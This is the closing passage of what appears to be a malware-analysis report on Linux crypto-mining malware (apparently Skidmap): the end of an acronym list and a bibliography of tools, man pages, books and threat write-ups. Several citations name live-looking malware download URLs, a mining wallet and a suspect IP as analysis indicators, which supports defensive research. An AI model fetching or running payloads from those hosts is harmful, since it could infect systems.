SSH	Secure Shell
TLS	Transport Layer Security
UNIX	Uniplexed Information and Computing System
URL	Uniform Resource Locator
VDI	VirtualBox Disk Image
VM	Virtual Machine
VT	VirusTotal
WWW	World Wide Web
YARA	Yet Another Recursive Acronym Yet Another Ridiculous Acronym

8 Bibliography and References

- [1] ENISA, "ENISA Threat Landscape 2020: Cyber Attacks Becoming More Sophisticated, Targeted, Widespread and Undetected — ENISA," 20 October 2020. [Online]. Available: https://www.enisa.europa.eu/news/enisa-news/enisa-threat-landscape-2020. [Accessed 02 March 2021].
- J. B. Higuera, C. A. Aramburu, J.-R. B. Higuera, M. A. S. Urban and J. A. S. Montalvo, "Systematic Approach to Malware Analysis (SAMA)," *MDPI - Applied sciences*, p. 31, 17 February 2020.
- [3] A. Mohanta and A. Saldanha, Malware Analysis and Detection Engineering: A Comprehensive Approach to Detect and Analyze Modern Malware, Berkeley: Appress, 2020.
- [4] M. Sikorski and A. Honig, Practical malware analysis: the hands-on guide to dissecting malicious software, San Fransisco: No Starch Press, 2012.
- [5] R. Wong, Mastering Reverse Engineering: Re-engineer your ethical hacking skills, Birmigham: Packt Publishing, 2018.
- [6] D. Andriesse, Practical Binary Analysis: Build Your Own Linux Tools for Binary Instrumentation, Analysis, and Disassembly, San Francisco: No Starch Press, 2019.
- [7] Oracle Corporation, "File Format (Linker and Libraries Guide)," 2010. [Online]. Available: https://docs.oracle.com/cd/E19683-01/816-1386/6m7qcoblj/index.html. [Accessed 02 January 2020].
- [8] The Santa Cruz Operation, "ELF Header," 28 January 2015. [Online]. Available: https://refspecs.linuxfoundation.org/elf/gabi4+/ch4.eheader.html. [Accessed 04 January 2021].
- [9] The Santa Cruz Operation, "Program Header," 28 January 2015. [Online]. Available: https://refspecs.linuxfoundation.org/elf/gabi4+/ch5.pheader.html. [Accessed 04 January 2021].
- [10] "ANY.RUN Interactive Online Malware Sandbox," ANY.RUN, [Online]. Available: https://any.run/. [Accessed 10 October 2020].
- [11] NWMonster, "GitHub NWMonster/ApplySig: Apply IDA FLIRT signatures for Ghidra," 15 May 2020. [Online]. Available: https://github.com/NWMonster/ApplySig. [Accessed 14 January 2021].
- [12] "Download Burp Suite Community Edition PortSwigger," PortSwigger, [Online]. Available: https://portswigger.net/burp/communitydownload. [Accessed 15 oCTOBER 2020].
- [13] The CentOS Project, "The CentOS Project," 2021. [Online]. Available: https://www.centos.org. [Accessed 01 February 2021].
- [14] C. Negus, Linux Bible, Indianapolis: John Willey & Sons inc., 2020.
- [15] N. Murilo and K. Steding-Jessen, "chkrootkit -- locally checks for signs of a rootkit," 07 December 2020. [Online]. Available: http://www.chkrootkit.org/. [Accessed 19 February 2021].
- [16] "ClamavNet," ClamAV, [Online]. Available: https://www.clamav.net/. [Accessed 20 January 2021].
- [17] GCHQ, "GitHub gchq/CyberChef: The Cyber Swiss Army Knife a web app for encryption, encoding, compression and data analysis," GCHQ, 23 February 2021. [Online]. Available: https://github.com/gchq/CyberChef. [Accessed 25 February 2021].

- [18] horsiq, "GitHub horsicq/Detect-It-Easy: Program for determining types of files for Windows, Linux and MacOS.," 14 February 2021. [Online]. Available: https://github.com/horsicq/Detect-It-Easy. [Accessed 25 February 2021].
- [19] linux.die.net, "dnsmasq(8): lightweight DHCP/caching DNS server Linux man page," [Online]. Available: https://linux.die.net/man/8/dnsmasq. [Accessed 14 December 2021].
- [20] "DistroWatch.com: Put the fun back into computing. Use Linux, BSD.," DistroWatch, 31 May 2001. [Online]. Available: https://distrowatch.com/dwres.php?resource=about. [Accessed 08 February 2021].
- [21] Elena Opris Softpedia, "Download Exeinfo PE 0.0.6.3," 26 November 2020. [Online]. Available: https://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml. [Accessed 12 December 2020].
- [22] M. Kerrisk, "gcc(1) Linux manual page," Free Software Foundationq, 21 December 2020. [Online]. Available: https://man7.org/linux/man-pages/man1/gcc.1.html. [Accessed 16 February 2021].
- [23] "Ghidra," National Security Agency, [Online]. Available: https://ghidra-sre.org/. [Accessed 12 January 2021].
- [24] Git, "Git," [Online]. Available: https://git-scm.com/. [Accessed 27 January 2021].
- [25] T. Hungenberg and M. Eckert, "INetSim: Internet Services Simulation Suite Project Homepage," 19 May 2020. [Online]. Available: https://www.inetsim.org/. [Accessed 05 October 2021].
- [26] puux, "GitHub puux/iptables: iptables WEB gui," 05 November 2018. [Online]. Available: https://github.com/puux/iptables. [Accessed 22 December 2020].
- [27] M. Kerrisk, "make(1) Linux manual page," 28 February 2016. [Online]. Available: https://man7.org/linux/man-pages/man1/make.1.html. [Accessed 25 February 2021].
- [28] M. Kerrisk, "md5sum(1) Linux manual page," March 2020. [Online]. Available: https://man7.org/linux/man-pages/man1/md5sum.1.html. [Accessed 07 January 2021].
- [29] NethServer, "NethServer operating system for the Linux enthusias," [Online]. Available: https://www.nethserver.org/. [Accessed 22 January 2021].
- [30] T. Faller, "GitHub pwndbg/pwndbg: Exploit Development and Reverse Engineering with GDB Made Easy," 26 February 2021. [Online]. Available: https://github.com/pwndbg/pwndbg. [Accessed 02 March 2021].
- [31] Python Software Foundation, "Welcome to Python.org," Python Software Foundation, [Online]. Available: https://www.python.org/. [Accessed 22 February 2021].
- [32] M. Kerrisk, "readelf(1) Linux manual page," 19 September 2020. [Online]. Available: https://man7.org/linux/man-pages/man1/readelf.1.html. [Accessed 14 January 2021].
- [33] L. Zeltser, "Get the Virtual Appliance REMnux Documentation," 15 February 2021. [Online]. Available: https://docs.remnux.org/install-distro/get-virtual-appliance. [Accessed 20 February 2021].
- [34] "Scintilla and SciTE," 01 December 2020. [Online]. Available: https://www.scintilla.org/SciTE.html. [Accessed 03 January 2021].
- [35] S. Lee, "GitHub push0ebp/sig-database: IDA FLIRT Signature Database," 02 June 2020. [Online]. Available: https://github.com/push0ebp/sig-database. [Accessed 02 January 2021].
- [36] J. Kornblum and T. OI, "ssdeep Fuzzy hashing program," 11 April 2018. [Online]. Available: https://ssdeep-project.github.io/ssdeep/index.html. [Accessed 17 October 2020].

- [37] M. Kerrisk, "stat(2) Linux manual page," 13 August 2020. [Online]. Available: https://man7.org/linux/man-pages/man2/lstat.2.html. [Accessed 02 February 2021].
- [38] R. O'Neill, Learning Linux Binary Analysis, Birmingham: Packt Publishing, 2016.
- [39] M. Kerrisk, "tar(1) Linux manual page," 13 July 2020. [Online]. Available: https://man7.org/linux/man-pages/man1/tar.1.html. [Accessed 09 January 2021].
- [40] Canonical Ltd., "Download Ubuntu Desktop | Download | Ubuntu," 2021. [Online]. Available: https://ubuntu.com/download/desktop. [Accessed 02 February 2021].
- [41] M. F. Oberhumer, L. Molnár and J. F. Reiser, "UPX: the Ultimate Packer for eXecutables -Homepage," 23 January 2020. [Online]. Available: https://upx.github.io/. [Accessed 19 October 2020].
- [42] Oracle, "Oracle VM VirtualBox," Oracle, [Online]. Available: https://www.virtualbox.org/. [Accessed 17 September 2020].
- [43] The WireShark Foundation, "Wireshark · Go Deep.," [Online]. Available: https://www.wireshark.org. [Accessed 10 December 2020].
- [44] VirusTotal, VirusTotal, 2021. [Online]. Available: https://github.com/VirusTotal/yara. [Accessed 02 January 2021].
- [45] j0sm1, jovimon, mmorenog and J. Martin, "GitHub Yara-Rules/rules: Repository of yara rules," Yara Rules Project, 22 September 2020. [Online]. Available: https://github.com/Yara-Rules/rules. [Accessed 17 December 2020].
- [46] I. Pavlov, "7-Zip," 21 January 2019. [Online]. Available: https://www.7-zip.org/. [Accessed 24 January 2021].
- [47] ENISA, "Building artifact handling and analysis environment," February 2014. [Online]. Available: https://www.enisa.europa.eu/topics/trainings-for-cybersecurity-specialists/onlinetraining-material/documents/building-artifact-handling-and-analysis-environment-handbook. [Accessed 12 September 2020].
- [48] L. Rendek, "How to switch back networking to /etc/network/interfaces on Ubuntu 20.04 Focal Fossa Linux," LinuxConfig, 26 November 2020. [Online]. Available: https://linuxconfig.org/how-to-switch-back-networking-to-etc-network-interfaces-on-ubuntu-20-04-focal-fossa-linux. [Accessed 01 December 2020].
- [49] PortSwigger, "Professional / Community 2021.2.1 | Releases," PortSwigger, 16 February 2021. [Online]. Available: https://portswigger.net/burp/releases/community/latest. [Accessed 20 February 2021].
- [50] ENISA, "Technical ENISA," 04 December 2014. [Online]. Available: (https://www.enisa.europa.eu/topics/trainings-for-cybersecurity-specialists/online-trainingmaterial/technical-operational#building. [Accessed 20 November 2020].
- [51] x-yuri, "Reset iptables · GitHub," 14 August 2020. [Online]. Available: https://gist.github.com/x-yuri/da5de61959ae118900b685fed78feff1. [Accessed 01 Decemver 2020].
- [52] PortSwigger, "Installing Burp's CA certificate in Firefox PortSwigger," [Online]. Available: https://portswigger.net/burp/documentation/desktop/getting-started/proxysetup/certificate/firefox. [Accessed 08 February 2021].
- [53] R. Villarreal, "Adding Burp Suite CA Certificate to Kali Linux Certificate Store," bestestredteam, 25 May 2019. [Online]. Available: https://bestestredteam.com/2019/05/25/adding-burp-suite-ca-certificate-to-kali-linux-castore/. [Accessed 08 February 2021].

- [54] A. Russell, "PEM, DER, CRT, and CER: X.509 Encodings and Conversions SSL.com," 07 July 2020. [Online]. Available: https://www.ssl.com/guide/pem-der-crt-and-cer-x-509encodings-and-conversions/. [Accessed 08 February 2021].
- [55] horsicq, "Releases DIE-engine," GitHub, 11 January 2021. [Online]. Available: https://github.com/horsicq/DIE-engine/releases. [Accessed 09 February 2021].
- [56] Andreas Pogiatzis, Infosec Writeups, "Pwndbg + GEF + Peda One for all, and all for one," medium, 24 July 2019. [Online]. Available: https://medium.com/bugbountywriteup/pwndbggef-peda-one-for-all-and-all-for-one-714d71bf36b8. [Accessed 09 February 2021].
- [57] A. Pogiatzis, "gdb-peda-pwndbg-gef: A script to automatically install Peda+pwndbg+GEF plugins for gdb," GitHub, [Online]. Available: https://github.com/apogiatzis/gdb-peda-pwndbg-gef. [Accessed 09 February 2021].
- [58] N. Murilo and K. Steding-Jessen, "chkrootkit -- locally checks for signs of a rootkit," 30 October 2014. [Online]. Available: http://www.chkrootkit.org/download/. [Accessed 05 January 2021].
- [59] abuse.ch, "MalwareBazaar | Browse malware samples," abuse.ch, 14 December 2020.
 [Online]. Available: https://bazaar.abuse.ch/browse.php?search=sha256%3Af005c2a40cdb4e020c3542eb51aef 5bac0c87b4090545c741e1705fcbc8ca120. [Accessed 15 February 2021].
- [60] The Regents of the University of California, "sys/unistd.h Source," superglobalmegacorp.com, 04 January 1991. [Online]. Available: https://unix.superglobalmegacorp.com/NetBSD-0.8/newsrc/sys/unistd.h.html. [Accessed 2021 January 04].
- [61] Free Software Foundation Inc, "Testing File Access (The GNU C Library," gnu.org, [Online]. Available: https://www.gnu.org/software/libc/manual/html_node/Testing-File-Access.html. [Accessed 04 January 2021].
- [62] IBM, "fopen, fopen64, freopen, freopen64, fopen_s or fdopen Subroutine," [Online]. Available: https://www.ibm.com/support/knowledgecenter/es/ssw_aix_71/f_bostechref/fopen.html?view =embed&origURL=ssw_aix_71/com.ibm.aix.basetrf1/fopen.htm. [Accessed 04 January 2021].
- [63] linux.die.net, "pam_unix(8) Linux man page," [Online]. Available: https://linux.die.net/man/8/pam_unix. [Accessed 04 January 2021].
- [64] M. Kerrisk, "utime(2) Linux manual page," 21 December 2020. [Online]. Available: https://man7.org/linux/man-pages/man2/utime.2.html. [Accessed 02 February 2021].
- [65] FEDORA (TM), "5.5. SELinux Modes," [Online]. Available: https://docs.fedoraproject.org/en-US/Fedora/12/html/Security-Enhanced_Linux/sect-Security-Enhanced_Linux-Working_with_SELinux_SELinux_Modes.html. [Accessed 01 February 2021].
- [66] redhat, "43.2. Introduction to SELinux," [Online]. Available: https://web.mit.edu/rheldoc/5/RHEL-5-manual/Deployment_Guide-en-US/ch-selinux.html. [Accessed 02 February 2021].
- [67] M. Kerrisk, "chattr(1) Linux manual page," 21 December 2020. [Online]. Available: https://www.man7.org/linux/man-pages/man1/chattr.1.html. [Accessed 01 January 2021].
- [68] Computer Hope, "What is a File Descriptor?," 16 November 2019. [Online]. Available: https://www.computerhope.com/jargon/f/file-descriptor.htm. [Accessed 02 February 2021].
- [69] Tutorialspoint, "open() Unix, Linux System Call Tutorialspoint," [Online]. Available: https://www.tutorialspoint.com/unix_system_calls/open.htm. [Accessed 02 February 2021].

- [70] Z. Zaifeng and RootKiter, "DNS data mining case study skidmap," 360 Netlab Blog, 20 November 2020. [Online]. Available: https://blog.netlab.360.com/security-with-dns-data_en/. [Accessed 2021 February 08].
- [71] VirusTotal, "VirusTotal," 01 January 2021. [Online]. Available: https://www.virustotal.com/gui/file/cf41aa627ddf3a7af4550ebc6f80875fec1eb0e393dad7451 5c28fef8e9cb719/community. [Accessed 08 January 2021].
- [72] ANY.RUN, "http://a.powerofwish.com/miner2 Interactive analysis ANY.RUN," 12 January 2021. [Online]. Available: https://app.any.run/tasks/bba12759-d6f8-4eb0-ade0-7277a5e27c78/. [Accessed 10 February 2021].
- [73] "Explorer Sugarchain," [Online]. Available: https://1explorer.sugarchain.org/address/sugar1qddpk0wgqtgufenz6z9zh4cjgrehk8ezud42p
 5q. [Accessed 28 January 2021].
- [74] ANY.RUN, "http://a.powerofwish.com/cos7.tar.gz Interactive analysis ANY.RUN," ANY.RUN, 27 January 2021. [Online]. Available: https://app.any.run/tasks/dcb111ab-25df-4de5-9a3f-8b8b6e0ef09e/. [Accessed 10 February 2021].
- [75] ANY.RUN, "http://a.powerofwish.com/cos8.tar.gz Interactive analysis ANY.RUN," ANY.RUN, 27 January 2021. [Online]. Available: https://app.any.run/tasks/31f0c774-e9f3-4d8f-8dbc-9408b728577c/. [Accessed 10 February 2021].
- [76] Tutorialspoint, "crontab Unix, Linux Command Tutorialspoint," [Online]. Available: https://www.tutorialspoint.com/unix_commands/crontab.htm. [Accessed 02 February 2021].
- [77] VirusTotal, "VirusTotal," 13 February 2021. [Online]. Available: https://www.virustotal.com/gui/file/56e0174d76d82a1c6c127044bb85f696ef4842a140798b3 98691af6fa51b48f0/detection. [Accessed 17 February 2021].
- [78] VirusTotal, "VirusTotal," 17 February 2021. [Online]. Available: https://www.virustotal.com/gui/file/597dcab700a24b6b36f271325b8ecd03f217fa931d9dc72a 2bc777ef3c9dcc92/detection. [Accessed 17 February 2021].
- [79] VirusTotal, "VirusTotal," 07 June 2020. [Online]. Available: https://www.virustotal.com/gui/file/f934baecf959178a7f0dc99f0316e957d6ef3c3a1d1814213 69b309d3cec82ab/detection. [Accessed 17 February 2021].
- [80] H. J. Alarcon, "Backdoor.Linux.SKIDMAP.A Threat Encyclopedia," Trend Micro, 12 September 2019. [Online]. Available: https://www.trendmicro.com/vinfo/us/threatencyclopedia/malware/Backdoor.Linux.SKIDMAP.A. [Accessed 08 February 2021].
- [81] S. Knight, "Threat Analysis Unit (TAU) Threat Intelligence Notification: Skidmap | VMware Carbon Black," vmware Carbon Black, 10 December 2019. [Online]. Available: https://www.carbonblack.com/blog/threat-analysis-unit-tau-threat-intelligence-notificationskidmap/. [Accessed 08 February 2021].
- [82] I. Arghire, "Linux Crypto-Miner Uses Kernel-Mode Rootkits for Evasion | SecurityWeek.Com," SecurityWeek, 17 September 2019. [Online]. Available: https://www.securityweek.com/linux-crypto-miner-uses-kernel-mode-rootkitsevasion?fbclid=IwAR3TYTOUT89R2SmDTg0Yrxq2um8XLTC9F-NfFJozmTwtEvlvCzB90XFzm4s. [Accessed 08 February 2021].
- [83] J. Sun, "GitHub ycsunjane/rctl: remote linux control," 14 January 2015. [Online]. Available: https://github.com/ycsunjane/rctl. [Accessed 01 March 2021].
- [84] M. Kerrisk, "reboot(2) Linux manual page," 21 December 2020. [Online]. Available: https://man7.org/linux/man-pages/man2/reboot.2.html. [Accessed 01 March 2021].

- [85] osc_hu8sgifq, "centos7系统被入侵,挂载挖矿木马-pamdicks-(1)临时处理 osc_hu8sgifq的 个人空间 - OSCHINA - 中文开源技术交流社区<," 19 October 2019. [Online]. Available: https://my.oschina.net/u/4290481/blog/3374075. [Accessed 01 March 2021].
- [86] M. Kerrisk, "ss(8) Linux manual page," 21 December 2020. [Online]. Available: https://man7.org/linux/man-pages/man8/ss.8.html. [Accessed 14 February 2021].
- [87] die.net, "wtmp(5): login records Linux man page," [Online]. Available: https://linux.die.net/man/5/wtmp. [Accessed 01 March 2021].
- [88] M. Kerrisk, "getdents(2) Linux manual page," 21 December 2020. [Online]. Available: https://man7.org/linux/man-pages/man2/getdents.2.html. [Accessed 27 February 2021].
- [89] S. Grubb, "auditd(8): Audit daemon Linux man page," [Online]. Available: https://linux.die.net/man/8/auditd. [Accessed 01 March 2021].
- [90] ABRT team, "abrtd(8): automated bug reporting tool's daemon Linux man page," [Online]. Available: https://linux.die.net/man/8/abrtd. [Accessed 01 March 2021].
- [91] T. Woerner, "Documentation | firewalld," [Online]. Available: https://firewalld.org/documentation/. [Accessed 01 March 2021].
- [92] D. Madrisan, "GitHub madrisan/wtmpclean: A tool for dumping wtmp files and patching wtmp records," 21 July 2013. [Online]. Available: https://github.com/madrisan/wtmpclean. [Accessed 02 March 2021].
- [93] N. S. Borenstein and N. Freed, "RFC 2046 Multipurpose Internet Mail Extensions (MIME) Part Two: Media Types," IETF, November 1996. [Online]. Available: viewsource:https://tools.ietf.org/html/rfc2046#section-4.5. [Accessed 10 February 2021].
- [94] The CentOS Project, "Download," The CentOS Project, [Online]. Available: https://centos.org/download/. [Accessed 11 January 2021].
- [95] e Learning, "How to Extract 7zip files in CentOS 7," [Online]. Available: https://elearning.wsldp.com/pcmagazine/extract-7zip-centos-7/. [Accessed 15 February 2021].
- [96] DistroWatch, "DistroWatch.com: Put the fun back into computing. Use Linux, BSD.," 31 May 2001. [Online]. Available: https://distrowatch.com/search.php?ostype=Linux&category=All&origin=All&basedon=CentO S¬basedon=None&desktop=All&architecture=All&package=All&rolling=All&isosize=All&n etinstall=All&language=All&defaultinit=All&status=Active#simple. [Accessed 17 February 2021].
- [97] Raj, "Install Gnome GUI on CentOS 7 / RHEL 7 ITzGeek," IT'zGeek, 03 December 2018. [Online]. Available: https://www.itzgeek.com/how-tos/linux/centos-how-tos/install-gnome-guion-centos-7-rhel-7.html. [Accessed 20 January 2021].
- [98] AbuseIPDB , "122.152.215.115 | Tencent Cloud Computing (Beijing) Co. Ltd. | AbuseIPDB," [Online]. Available: https://www.abuseipdb.com/check/122.152.215.115. [Accessed 02 March 2021].
- [99] Sag47, "Regshot for Linux LQWiki," 18 October 2010. [Online]. Available: https://wiki.linuxquestions.org/wiki/Regshot_for_Linux?fbclid=IwAR3RJDtkO6a_W28tqhwBE hd2cB7FwpSgZAXsCu2GLjIEij2vZA_KPBI5y8Q. [Accessed 19 February 2021].